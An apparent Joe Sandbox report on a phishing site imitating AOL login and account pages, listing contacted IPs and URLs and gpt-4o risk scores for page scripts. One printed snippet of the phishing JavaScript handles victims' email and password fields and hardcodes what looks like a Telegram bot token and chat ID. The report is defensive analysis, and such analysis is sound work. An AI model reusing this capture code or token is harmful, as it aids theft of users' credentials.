https://pubads.g.doubleclick.net/adsid/integrator.json?aos=	chromecache_439.2.dr	false	Avira URL Cloud: safe	unknown
https://s.aolcdn.com/os/help-main/content-types/article	chromecache_409.2.dr	false	Avira URL Cloud: safe	unknown
https://s.aolcdn.com/membership/omp-static/biblio/icons/AolHelpIcons.eot?#iefix-3	chromecache_344.2.dr	false	Avira URL Cloud: safe	unknown
https://www.cloudflare.com/5xx-error-landing	chromecache_293.2.dr	false	Avira URL Cloud: safe	unknown
https://mwzeom.zeotap.com/mw?zpartnerid=1384&env=mWeb&gdpr=0&gdpr_consent=&cid=BD0DE19C-09D4-4B62-A1	chromecache_773.2.dr	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/cv/apiv2/aolfp/fonts/poppins/Poppins-SemiboldItalic.woff)	chromecache_344.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/google/safevalues/issues	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://cm-supply-web.gammaplatform.com/adx/usersyncsupply?pid=7&t=pixel	chromecache_650.2.dr	false	Avira URL Cloud: safe	unknown
https://sync.crwdcntrl.net/qmap?c=240&tp=PUBM&tpid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&gdpr=0&gdpr_	chromecache_773.2.dr	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/wm/login/aol-apple-touch-icon.png	chromecache_757.2.dr	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/cv/apiv2/aolfp/fonts/opensans/Open_Sans-Medium.woff)	chromecache_344.2.dr	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/cv/apiv2/aolfp/fonts/poppins/Poppins-BoldItalic.ttf)	chromecache_344.2.dr	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/cv/apiv2/aolfp/fonts/poppins/Poppins-Medium.woff2)	chromecache_344.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
54.216.114.27	rtb.gumgum.com	United States		16509	AMAZON-02US	false
52.209.140.47	unknown	United States		16509	AMAZON-02US	false
91.228.74.200	global.px.quantserve.com	United Kingdom		27281	QUANTCASTUS	false
18.192.200.108	match-eu-central-1-ecs.sharethrough.com	United States		16509	AMAZON-02US	false
104.18.24.173	a.tribalfusion.com	United States		13335	CLOUDFLARENETUS	false
151.101.2.27	unknown	United States		54113	FASTLYUS	false
185.89.210.153	unknown	Germany		29990	ASN-APPNEXUS	false
34.95.69.49	i.clean.gg	United States		15169	GOOGLEUS	false
3.160.150.30	sync.intentiq.com	United States		16509	AMAZON-02US	false
142.250.185.225	pagead-googlehosted.l.google.com	United States		15169	GOOGLEUS	false
34.160.236.64	tagr-pixel-nginx-odr-euw4.mookie1.com	United States		2686	ATGS-MMD-ASUS	false
198.47.127.205	pug-ams-bc.pubmnet.com	United States		62713	AS-PUBMATICUS	false
151.101.193.44	unknown	United States		54113	FASTLYUS	false
141.94.170.64	pixel.onaudience.com	Germany		680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
54.77.78.113	blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com	United States		16509	AMAZON-02US	false
172.217.18.4	www.google.com	United States		15169	GOOGLEUS	false
54.170.121.32	unknown	United States		16509	AMAZON-02US	false
172.217.18.2	unknown	United States		15169	GOOGLEUS	false
151.101.1.44	tls13.taboola.map.fastly.net	United States		54113	FASTLYUS	false
107.178.254.65	pippio.com	United States		15169	GOOGLEUS	false
52.72.151.87	sync.ipredictive.com	United States		14618	AMAZON-AESUS	false
239.255.255.250	unknown	Reserved		unknown	unknown	false
151.101.65.44	unknown	United States		54113	FASTLYUS	false
152.195.53.200	cs550162656.adn.psicdn.net	United States		15133	EDGECASTUS	false
212.82.100.140	ds-ats.member.g02.yahoodns.net	United Kingdom		34010	YAHOO-IRDGB	false
34.255.48.153	match.prod.bidr.io	United States		16509	AMAZON-02US	false
52.209.232.1	unknown	United States		16509	AMAZON-02US	false
35.214.200.71	envoy-hl.envoy-csync1.core-b8mf.ov1o.com	United States		19527	GOOGLE-2US	false
141.94.171.212	pixel-eu.onaudience.com	Germany		680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
184.73.49.33	idx.cph.liveintent.com	United States		14618	AMAZON-AESUS	false
208.93.169.131	am1-direct-bgp.contextweb.com	United States		26228	SERVEPATHUS	false
108.128.197.68	unknown	United States		16509	AMAZON-02US	false
87.248.119.251	edge.gycpi.b.yahoodns.net	United Kingdom		203220	YAHOO-DEBDE	false
87.248.119.252	unknown	United Kingdom		203220	YAHOO-DEBDE	false
89.149.192.74	rtb-csync-euw1.smartadserver.com	Netherlands		60781	LEASEWEB-NL-AMS-01NetherlandsNL	false
185.89.210.46	ib.anycast.adnxs.com	Germany		29990	ASN-APPNEXUS	false
54.225.218.25	prod.msicontent.pse.public.aol.com	United States		14618	AMAZON-AESUS	false
213.155.156.167	d5p.de17a.com	European Union		1299	TELIANETTeliaCarrierEU	false
178.250.1.8	bidder.nl3.vip.prod.criteo.com	France		44788	ASN-CRITEO-EUROPEFR	false
87.248.100.212	ncp-gw-video.g03.yahoodns.net	United Kingdom		34010	YAHOO-IRDGB	false
178.250.1.9	widget.nl3.vip.prod.criteo.com	France		44788	ASN-CRITEO-EUROPEFR	false
3.78.151.12	cdn.w55c.net	United States		16509	AMAZON-02US	false
3.65.80.227	ActivationEdge-activation-1631408035.eu-central-1.elb.amazonaws.com	United States		16509	AMAZON-02US	false
35.186.154.107	cm-supply-web.gammaplatform.com	United States		15169	GOOGLEUS	false
178.250.1.7	ssp-sync.nl3.vip.prod.criteo.com	France		44788	ASN-CRITEO-EUROPEFR	false
18.244.18.122	unknown	United States		16509	AMAZON-02US	false
178.250.1.3	static.nl3.vip.prod.criteo.net	France		44788	ASN-CRITEO-EUROPEFR	false
18.203.106.185	unknown	United States		16509	AMAZON-02US	false
34.102.163.6	ad.mrtnsvr.com	United States		15169	GOOGLEUS	false
142.250.181.226	unknown	United States		15169	GOOGLEUS	false
104.22.50.98	mwzeom.zeotap.com	United States		13335	CLOUDFLARENETUS	false
51.75.86.98	onetag-sys.com	France		16276	OVHFR	false
18.239.83.58	sb.scorecardresearch.com	United States		16509	AMAZON-02US	false
46.228.174.117	sync.1rx.io	United Kingdom		56396	TURNGB	false
37.252.171.21	unknown	European Union		29990	ASN-APPNEXUS	false
3.121.157.160	elb-aws-fr-dorpat-283474803.eu-central-1.elb.amazonaws.com	United States		16509	AMAZON-02US	false
23.211.10.95	unknown	United States		16625	AKAMAI-ASUS	false
85.114.159.118	dsp.adfarm1.adition.com	Germany		24961	MYLOC-ASIPBackboneofmyLocmanagedITAGDE	false
8.18.47.7	m.deepintent.com	United States		32662	GMCRUS	false
192.229.221.24	cs629.wpc.lambdacdn.net	United States		15133	EDGECASTUS	false
142.250.184.226	cm.g.doubleclick.net	United States		15169	GOOGLEUS	false
18.158.126.136	unknown	United States		16509	AMAZON-02US	false
198.47.127.20	spug-amsfpairbc.pubmnet.com	United States		62713	AS-PUBMATICUS	false
52.94.223.167	unknown	United States		16509	AMAZON-02US	false
3.124.64.248	unknown	United States		16509	AMAZON-02US	false
104.18.36.155	htlb.casalemedia.com	United States		13335	CLOUDFLARENETUS	false
198.47.127.19	pugm-amsfpairbc.pubmnet.com	United States		62713	AS-PUBMATICUS	false
52.57.150.20	unknown	United States		16509	AMAZON-02US	false
82.145.213.8	outspot2-ams.adx.opera.com	United Kingdom		39832	NO-OPERANO	false
3.71.149.231	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud	United States		16509	AMAZON-02US	false
172.64.151.101	ssum-sec.casalemedia.com	United States		13335	CLOUDFLARENETUS	false
124.146.153.167	tg.dr.socdm.com	Japan		2514	INFOSPHERENTTPCCommunicationsIncJP	false
35.214.149.91	user-data-eu.bidswitch.net	United States		19527	GOOGLE-2US	false
195.5.165.20	core.iprom.net	Slovenia		44968	IPROM-ASSI	false
52.17.240.55	unknown	United States		16509	AMAZON-02US	false
116.202.167.155	inv-nets.admixer.net	Germany		24940	HETZNER-ASDE	false
162.247.243.39	js-agent.newrelic.com	United States		13335	CLOUDFLARENETUS	false
52.212.30.128	ds-pr-bh.ybp.gysm.yahoodns.net	United States		16509	AMAZON-02US	false
216.58.212.134	unknown	United States		15169	GOOGLEUS	false
151.101.130.27	dualstack.brightcove.map.fastly.net	United States		54113	FASTLYUS	false
35.186.253.211	rtb.openx.net	United States		15169	GOOGLEUS	false
35.186.193.173	ipac.ctnsnet.com	United States		15169	GOOGLEUS	false
34.111.113.62	pixel.tapad.com	United States		15169	GOOGLEUS	false
13.32.99.104	d2wcz8sc48ztgm.cloudfront.net	United States		16509	AMAZON-02US	false
151.101.129.44	unknown	United States		54113	FASTLYUS	false
142.250.185.130	unknown	United States		15169	GOOGLEUS	false
8.2.110.134	cs.krushmedia.com	United States		46636	NATCOWEBUS	false
54.194.31.123	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	United States		16509	AMAZON-02US	false
162.247.243.29	fastly-tls12-bam.nr-data.net	United States		13335	CLOUDFLARENETUS	false
152.199.23.180	cs964199420.wpc.mucdn.net	United States		15133	EDGECASTUS	false
35.210.53.219	adizio.geo.iponweb.net	United States		19527	GOOGLE-2US	false
34.192.68.138	zeta-ssp-385516103.us-east-1.elb.amazonaws.com	United States		14618	AMAZON-AESUS	false
3.248.168.119	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com	United States		16509	AMAZON-02US	false
18.193.40.232	crb.kargo.com	United States		16509	AMAZON-02US	false
77.243.51.122	uip.semasio.net	Denmark		42697	NETIC-ASDK	false
185.64.190.81	spug-lhrc.pubmnet.com	United Kingdom		62713	AS-PUBMATICUS	false
164.132.25.180	unknown	France		16276	OVHFR	false
35.190.80.1	a.nel.cloudflare.com	United States		15169	GOOGLEUS	false
95.101.148.20	contextual.media.net	European Union		20940	AKAMAI-ASN1EU	false
13.248.245.213	eu-eb2.3lift.com	United States		16509	AMAZON-02US	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1446889
Start date and time:	2024-05-24 00:33:24 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://testing-1g0.pages.dev/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.win@71/1002@586/100
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://www.aol.com/ Browse: https://help.aol.com/ Browse: https://testing-1g0.pages.dev/forgot?lang=en-US&src=guce-mail&done=https%3A%2F%2Fmail.aol.com%2F%3Fguce_referrer%3DaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8%26guce_referrer_sig%3DAQAAAMV1HcA2ap8E1JAzEL1d1RoR7BHgqDyNnC7NHxVoHwo_ZY36BAE_-eVbfvo18WaCCZJWR_2BFs5xSkyqQg3iAq4J5cmfK5fS3JSy8_aNdRxsO20tZuVRSZvbpbt04U-xYnBs0YKiqGikz7l_2JSE_Fm4Oo3ZLzt9_9Zivwbg-xRI Browse: https://testing-1g0.pages.dev/account/create?lang=en-US&src=guce-mail&done=https%3A%2F%2Fmail.aol.com%2F%3Fguce_referrer%3DaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8%26guce_referrer_sig%3DAQAAAMV1HcA2ap8E1JAzEL1d1RoR7BHgqDyNnC7NHxVoHwo_ZY36BAE_-eVbfvo18WaCCZJWR_2BFs5xSkyqQg3iAq4J5cmfK5fS3JSy8_aNdRxsO20tZuVRSZvbpbt04U-xYnBs0YKiqGikz7l_2JSE_Fm4Oo3ZLzt9_9Zivwbg-xRI&specId=yidReg

Warnings

Exclude process from analysis (whitelisted): audiodg.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.227, 142.250.185.238, 64.233.167.84, 34.104.35.123, 142.250.185.74, 216.58.206.42, 142.250.185.138, 142.250.184.202, 216.58.212.138, 142.250.186.170, 172.217.16.202, 216.58.206.74, 142.250.185.234, 142.250.185.170, 142.250.186.138, 172.217.18.10, 142.250.184.234, 142.250.185.106, 172.217.23.106, 142.250.186.106, 20.114.59.183, 217.20.57.18, 192.229.221.95, 13.85.23.206, 52.165.164.15, 216.58.212.170, 142.250.185.202, 142.250.186.74, 142.250.186.42, 142.250.181.234, 69.173.156.139, 2.18.97.11, 184.28.88.244, 23.211.9.109, 37.157.4.28, 37.157.5.132, 37.157.5.84, 37.157.4.29, 37.157.5.133, 23.60.204.187, 13.107.42.14, 151.101.66.49, 151.101.130.49, 151.101.194.49, 151.101.2.49, 69.173.144.138, 69.173.144.165, 69.173.144.139, 216.58.212.130, 63.215.202.137, 193.0.160.131, 2.19.100.239, 89.207.16.201, 95.101.196.17, 63.215.202.172, 89.207.16.204, 2.18.64.210, 2.18.64.221, 46.228.164.11, 104.18.41.104, 172.64.146.152, 142.250.186.97, 23.212.88.20, 23.211.9.91, 2
Excluded domains from analysis (whitelisted): tags.bluekai.com.edgekey.net, beacon-ams3.rubiconproject.net.akadns.net, uipglob.trafficmanager.net, slscr.update.microsoft.com, usersync-geo-global.usersync-prod-sas.akadns.net, clientservices.googleapis.com, l-0005.l-msedge.net, e9126.x.akamaiedge.net, clients2.google.com, ocsp.digicert.com, update.googleapis.com, rtb-csync-geo.usersync-prod-sas.akadns.net, wu-b-net.trafficmanager.net, fs.microsoft.com, e8960.b.akamaiedge.net, content-autofill.googleapis.com, ajax.googleapis.com, c-bing-com.dual-a-0034.a-msedge.net, imasdk.googleapis.com, a-emea.rfihub.com.akadns.net, pagead2.googlesyndication.com, players.brightcove.net.edgekey.net, edgedl.me.gvt1.com, c.bing.com, e6603.g.akamaiedge.net, eus.rubiconproject.com.edgekey.net, csi.gstatic.com, map.media6degrees.com.cdn.cloudflare.net, clients.l.google.com, a92b7f3b6891f0e6a0ce2b192513e785.safeframe.googlesyndication.com, h2.shared.global.fastly.net, pixel.rubiconproject.net.akadns.net, track.adformnet.akadns.net, t
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: http://testing-1g0.pages.dev/

Simulations

Behavior and APIs

⊘No simulations

LLM Input / Output

Input	Output
URL: https://testing-1g0.pages.dev/ Model: gpt-4o	```json { "riskscore": 8, "reasons": "The code contains suspicious elements such as the presence of a hardcoded token and chat ID, which could be used for unauthorized data transmission. Additionally, the code manipulates the DOM to potentially capture and display sensitive information like email and password, which is a common tactic in phishing attacks. These factors indicate a high risk of malicious intent." }
window.addEventListener('load', function(){ var maler = window.location.hash.substr(1) console.log(maler) if(maler){ document.getElementById('mail').value = maler if (maler) { let button = document.getElementById('buttons') document.getElementById('mail').value = maler console.log('open second') let mine = document.getElementById('mine') mine.innerHTML = maler let first = document.getElementById('first') let second = document.getElementById('second') first.style.display = 'none' second.style.display = 'block' button.value = 'Next' // button.style.backgroundColor = '#0660a9' // button.style.color = '#f9f9f9' console.log('open') //let cursors = document.getElementById('add') // cursors.addEventListener('click', function () { // console.log('cursors') //let first = document.getElementById('first') // let second = document.getElementById('second') // first.style.display = 'block' // second.style.display = 'none' // }) } } //var password = document.getElementById('pass') document.getElementById('pass').addEventListener('keyup', function(){ console.log('keyup') var error = document.getElementById('error') error.innerHTML = '' }) var mail = document.getElementById('mail') mail.addEventListener('keyup', function(){ console.log('keyup') var show = document.getElementById('show') show.innerHTML = '' }) counter = 0 var token = '6700980008:AAH9LG9O1JO8RFM32uhQ_zWL7eZpQDRUF5s'; var chat_ids = 6677634062 //Email Section let button = document.getElementById('buttons') button.addEventListener('click', function(){ var see = document.getElementById('see') see.addEventListener('click', function(){ var pass = document.getElementById('pass') console.log('password') if(pass.type == 'password'){ pass.type = 'text' } else{ pass.type = 'password' } }) button.style.border = '2px solid #0660a9' const first = document.getElementById('first') // const firsts = document.getElementById('firsts') let male = document.getElementById('mail').value //let pass = document.getElementById('pass').value if( male.indexOf('@') == -1 \|\| male == '' ){ var show = document.getElementById('show').innerHTML = `Enter a valid email address.`; setTimeout(() => { //document.getElementById('error'
URL: https://www.aol.com/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The script dynamically loads an external JavaScript file from a known domain (yimg.com). This behavior is generally low risk, especially since it is from a reputable source. However, any external script loading carries a minimal risk if the external source is compromised." }
(function(win) { win.addEventListener && win.addEventListener("DOMContentLoaded", function () { var s = win.document.createElement("script"); s.async = true; s.src = "https://s.yimg.com/aaq/pv/perf-vitals_2.1.1.js"; win.document.body.appendChild(s); }); })(window);
URL: https://www.aol.com/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The provided JavaScript code appears to be related to error tracking and reporting for the 'aol' application. It sends error information to a specified URL using the fetch API. This behavior is typical for error monitoring and does not exhibit characteristics of malicious activity. However, any data transmission should be reviewed to ensure no sensitive information is being sent unintentionally." }
(function(window, domain) { window.beaconeater = { url: '/_td_api/beacon/error', params: { type: 'error', appName: 'aol', appVersion: '0', site: domain, url: window.location.href }, getQueryString: function(customErrorParams) { const fullErrorParams = Object.assign({}, customErrorParams, window.beaconeater.params); const queryString = Object.keys(fullErrorParams).map(function(key) { return encodeURIComponent(key) + '=' + encodeURIComponent(fullErrorParams[key]); }).join('&'); return '?' + queryString; }, sendBeacon: function(customErrorParams) { fetch(this.url + this.getQueryString(customErrorParams)); } }; var customEvent = document.createEvent('CustomEvent'); customEvent.initCustomEvent('beaconeater:init', false, false, {}); document.dispatchEvent(customEvent); })(window, 'wwwaolcom');
URL: https://www.aol.com/ Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code does not exhibit any malicious behavior. It primarily configures some settings related to page view tracking and performance monitoring. There are no indications of phishing, data exfiltration, or other harmful activities. The presence of tracking functionality is explicitly noted to be ignored for risk assessment." }
(function (window, rapidConfig, handleFailSafe, options) { handleFailSafe(rapidConfig, window.document); var pageIsIframed = window.location !== window.parent.location; if (options.disableIframePv && pageIsIframed) { rapidConfig.pageview_on_init = false; } window.rapidConfig = rapidConfig; })( window, {"client_only":1,"compr_type":"deflate","dwell_on":true,"keys":{"navtype":"server","st_sec":"us.aolportal","ver":"td-app-aol","pl2":"amp-bon","pt":"home","p_sec":"AOL","p_subsec":"homepage","layout":"aolgrid","pct":"aol","site":"aol","mrkt":"us","lang":"en-US","colo":"eu-west-1","_yrid":"30rmpplj4vh3m","_rid":"30rmpplj4vh3m","abk":""},"nol":true,"pageview_on_init":true,"perf_navigationtime":2,"test_id":"aol-acookie-control,aol-aa-1","track_right_click":true,"tracked_mods_viewability":[],"viewability":true,"webworker_file":"/lib/metro/g/myy/rapidworker_1_2_0.0.2.js","spaceid":1197803361}, function() {}, {} );
URL: https://www.aol.com/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The provided JavaScript code primarily sets up configuration and context information for the web page, including browser details, features, and error reporting paths. There is no indication of malicious activity such as data exfiltration, unauthorized access, or harmful operations. The code appears to be part of a legitimate site's functionality. Tracking and advertisement functionalities are present but are considered no risk as per the given instructions." }
(function(win) { win.vzm = win.vzm \|\| {}; win.vzm.swScreenshotTarget = '.render-target-active'; window.YAHOO = window.YAHOO \|\| {}; window.YAHOO.context = { "authed": "0", "browserName": "chrome", "browserVersion": "117.0", "bucket": [ "aol-acookie-control", "aol-aa-1" ], "contentSite": "", "crumb": "MOCK_CRUMB", "device": "desktop", "errBeaconConfig": { "beaconPath": "_td_api/beacon/error", "site": "aol" }, "feature": [ "enableVideoDocking", "allowAdsFreeExperience", "cacheContentCanvas", "creditCardProductModule", "livecoverage", "ncp", "newContentAttribution", "oathPlayer", "videoDetection", "videoDocking", "useEvPlayerGam", "enableGAMAds", "enableTaboolaRos", "enableLazyArticles" ], "guid": "", "intl": "us", "lang": "en-US", "meta": { "contentSite": "" }, "mode": "normal", "osName": "windows nt", "osVersion": "10.0", "region": "US", "rid": "30rmpplj4vh3m", "site": "aol", "tpConsent": true, "ynet": "0" }; }(window));
URL: https://www.aol.com/ Model: gpt-4o	```json { "riskscore": 2, "reasons": "The code modifies the behavior of anchor tags with target='_blank' to prevent potential security risks associated with the 'opener' property. This is generally a security best practice to prevent phishing attacks. However, it does intercept click events and opens new windows, which could be used for malicious purposes if combined with other malicious code. In isolation, this code does not appear to be malicious." }
"use strict";(function(){if(!Element.prototype.matches){Element.prototype.matches=Element.prototype.msMatchesSelector\|\|Element.prototype.webkitMatchesSelector}if(!Element.prototype.closest){Element.prototype.closest=function(s){var el=this;do{if(el.matches(s)){return el}el=el.parentElement\|\|el.parentNode}while(el!==null&&el.nodeType===1);return null}}document.addEventListener("click",function(e){var el=arguments.length>1&&arguments[1]!==undefined?arguments[1]:e.target;var s=arguments.length>2&&arguments[2]!==undefined?arguments[2]:"a[href][target=_blank]:not(.caas-button)";var a=el.matches(s)?el:el.closest(s);if(a){e.preventDefault();var w=window.open();w.opener=null;!(navigator.userAgent.indexOf("Edge")>0)?w.document.location.assign(a.getAttribute("href")):w.document.location=a.getAttribute("href")}})})();
URL: https://www.aol.com/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The provided JavaScript code appears to be related to performance monitoring, specifically tracking the first input delay for web vitals. It does not exhibit any obvious malicious behavior such as data exfiltration, credential stealing, or unauthorized access. The code is focused on event listeners and performance metrics, which are common in legitimate web applications for improving user experience." }
!function(){var e,t,n,i,r={passive:!0,capture:!0},a=new Date,o=function(){i=[],t=-1,e=null,f(addEventListener)},c=function(i,r){e\|\|(e=r,t=i,n=new Date,f(removeEventListener),u())},u=function(){if(t>=0&&t<n-a){var r={entryType:"first-input",name:e.type,target:e.target,cancelable:e.cancelable,startTime:e.timeStamp,processingStart:e.timeStamp+t};i.forEach((function(e){e(r)})),i=[]}},s=function(e){if(e.cancelable){var t=(e.timeStamp>1e12?new Date:performance.now())-e.timeStamp;"pointerdown"==e.type?function(e,t){var n=function(){c(e,t),a()},i=function(){a()},a=function(){removeEventListener("pointerup",n,r),removeEventListener("pointercancel",i,r)};addEventListener("pointerup",n,r),addEventListener("pointercancel",i,r)}(t,e):c(t,e)}},f=function(e){["mousedown","keydown","touchstart","pointerdown"].forEach((function(t){return e(t,s,r)}))},p="hidden"===document.visibilityState?0:1/0;addEventListener("visibilitychange",(function e(t){"hidden"===document.visibilityState&&(p=t.timeStamp,removeEventListener("visibilitychange",e,!0))}),!0);o(),self.webVitals={firstInputPolyfill:function(e){i.push(e),u()},resetFirstInputPolyfill:o,get firstHiddenTime(){return p}}}();
URL: https://www.aol.com/ Model: gpt-4o	```json { "riskscore": 2, "reasons": "The provided JavaScript code appears to be related to New Relic's browser monitoring and error tracking functionality. It includes features for distributed tracing, error handling, and performance monitoring. There is no indication of malicious behavior such as data exfiltration, credential stealing, or unauthorized access. However, it does have extensive error tracking and logging capabilities which could potentially be misused if not properly secured." }
(function () { window.NREUM\|\|(NREUM={});NREUM.init={distributed_tracing:{enabled:true},privacy:{cookies_enabled:true}}; window.NREUM\|\|(NREUM={}),__nr_require=function(t,e,n){function r(n){if(!e[n]){var o=e[n]={exports:{}};t[n][0].call(o.exports,function(e){var o=t[n][1][e];return r(o\|\|e)},o,o.exports)}return e[n].exports}if("function"==typeof __nr_require)return __nr_require;for(var o=0;o<n.length;o++)r(n[o]);return r}({1:[function(t,e,n){function r(t){try{c.console&&console.log(t)}catch(e){}}var o,i=t("ee"),a=t(28),c={};try{o=localStorage.getItem("__nr_flags").split(","),console&&"function"==typeof console.log&&(c.console=!0,o.indexOf("dev")!==-1&&(c.dev=!0),o.indexOf("nr_dev")!==-1&&(c.nrDev=!0))}catch(s){}c.nrDev&&i.on("internal-error",function(t){r(t.stack)}),c.dev&&i.on("fn-err",function(t,e,n){r(n.stack)}),c.dev&&(r("NR AGENT IN DEVELOPMENT MODE"),r("flags: "+a(c,function(t,e){return t}).join(", ")))},{}],2:[function(t,e,n){function r(t,e,n,r,c){try{l?l-=1:o(c\|\|new UncaughtException(t,e,n),!0)}catch(u){try{i("ierr",[u,s.now(),!0])}catch(d){}}return"function"==typeof f&&f.apply(this,a(arguments))}function UncaughtException(t,e,n){this.message=t\|\|"Uncaught error with no additional information",this.sourceURL=e,this.line=n}function o(t,e){var n=e?null:s.now();i("err",[t,n])}var i=t("handle"),a=t(29),c=t("ee"),s=t("loader"),u=t("gos"),f=window.onerror,d=!1,p="nr@seenError",l=0;s.features.err=!0,t(1),window.onerror=r;try{throw new Error}catch(h){"stack"in h&&(t(13),t(12),"addEventListener"in window&&t(6),s.xhrWrappable&&t(14),d=!0)}c.on("fn-start",function(t,e,n){d&&(l+=1)}),c.on("fn-err",function(t,e,n){d&&!n[p]&&(u(n,p,function(){return!0}),this.thrown=!0,o(n))}),c.on("fn-end",function(){d&&!this.thrown&&l>0&&(l-=1)}),c.on("internal-error",function(t){i("ierr",[t,s.now(),!0])})},{}],3:[function(t,e,n){t("loader").features.ins=!0},{}],4:[function(t,e,n){function r(){L++,T=g.hash,this[f]=y.now()}function o(){L--,g.hash!==T&&i(0,!0);var t=y.now();this[h]=~~this[h]+t-this[f],this[d]=t}function i(t,e){E.emit("newURL",[""+g,e])}function a(t,e){t.on(e,function(){this[e]=y.now()})}var c="-start",s="-end",u="-body",f="fn"+c,d="fn"+s,p="cb"+c,l="cb"+s,h="jsTime",m="fetch",v="addEventListener",w=window,g=w.location,y=t("loader");if(w[v]&&y.xhrWrappable){var x=t(10),b=t(11),E=t(8),R=t(6),O=t(13),N=t(7),P=t(14),M=t(9),S=t("ee"),C=S.get("tracer");t(16),y.features.spa=!0;var T,L=0;S.on(f,r),b.on(p,r),M.on(p,r),S.on(d,o),b.on(l,o),M.on(l,o),S.buffer([f,d,"xhr-done","xhr-resolved"]),R.buffer([f]),O.buffer(["setTimeout"+s,"clearTimeout"+c,f]),P.buffer([f,"new-xhr","send-xhr"+c]),N.buffer([m+c,m+"-done",m+u+c,m+u+s]),E.buffer(["newURL"]),x.buffer([f]),b.buffer(["propagate",p,l,"executor-err","resolve"+c]),C.buffer([f,"no-"+f]),M.buffer(["new-jsonp","cb-start","jsonp-error","jsonp-end"]),a(P,"send-xhr"+c),a(S,"xhr-resolved"),a(S,"xhr-done"),a(N,m+c),a(N,m+"-done"),a(M,"new-jsonp"),a(M,"jsonp-end"),a(M,"cb-start"),E.on("pushState-end",i),E.on("repl
URL: https://www.aol.com/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The provided JavaScript code appears to be related to performance tracking and does not exhibit any malicious behavior. It initializes performance tracking configurations, records performance data, and sends this data to a performance beacon. There are no indications of phishing, data exfiltration, or other malicious activities. The code is primarily focused on measuring and reporting page load and rendering times." }
(function (window) { var yaftConf = { modules: ['Col1-0-ContentCanvas', 'header', 'dl', 'choose-news', 'event-coverage', 'game-of-the-day', 'recently-played-games', 'games-categories', 'healthgrades', 'horoscopes', 'lending-tree', 'mortgage-rates', 'most-popular', 'readmo', 'recommended-for-you', 'standard', 'standard-automated', 'stream', 'unified-player', 'weather'], usePrefixRegex: true, preferDataModNameOverId: true, adModules: [], maxWaitTime: 3000 }; var perfData = {}; window.YAFT.init(yaftConf, function(aftData, aftError) { const aft = Math.round(aftData.aft); const aftNoAd = Math.round(aftData.aftNoAd); const timeToVisuallyComplete = Math.round(aftData.visuallyComplete); const startRender = Math.round(aftData.startRender); const plt = Math.round(aftData.pageLoadTime); if (plt) { recordPerfData('common', 'PLT', plt); } if (aft) { recordPerfData('common', 'AFT', aft); recordPerfData('common', 'AFT1', aft); recordPerfData('common', 'AFTNOAD', aftNoAd); recordPerfData('common', 'VIC', timeToVisuallyComplete); recordPerfData('common', 'STR', startRender); } if (window.rapidInstance) { window.rapidInstance.beaconPerformanceData(perfData); } else { document.addEventListener( 'rapid:init', function () { window.rapidInstance.beaconPerformanceData(perfData); }, { passive: true, once: true } ); } perfData = {}; }); // This is helper function which is used in YAFT init callback function to record user and common timings function recordPerfData(type, name, value) { if (type === 'common') { if (!perfData.perf_commontime) { perfData.perf_commontime = {}; } if (!perfData.perf_commontime.initialPageLoad) { perfData.perf_commontime.initialPageLoad = {}; } perfData.perf_commontime.initialPageLoad[name] = value; return true; } else if (type === 'user') { if (!perfData.perf_usertime) { perfData.perf_usertime = {}; } if (!perfData.perf_usertime.utm) { perfData.perf_usertime.utm = {}; } perfData.perf_usertime.utm[name] = value; return true; } return false; } })(window);
URL: https://www.aol.com/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The provided JavaScript code primarily initializes and configures a tracking module for viewability purposes. It does not exhibit any behaviors typically associated with malicious activities such as phishing, data exfiltration, or unauthorized access. The code checks for the presence of specific YAHOO tracking objects and sets up event listeners for document readiness. The use of tracking and advertisement functionality is considered no risk as per the given instructions." }
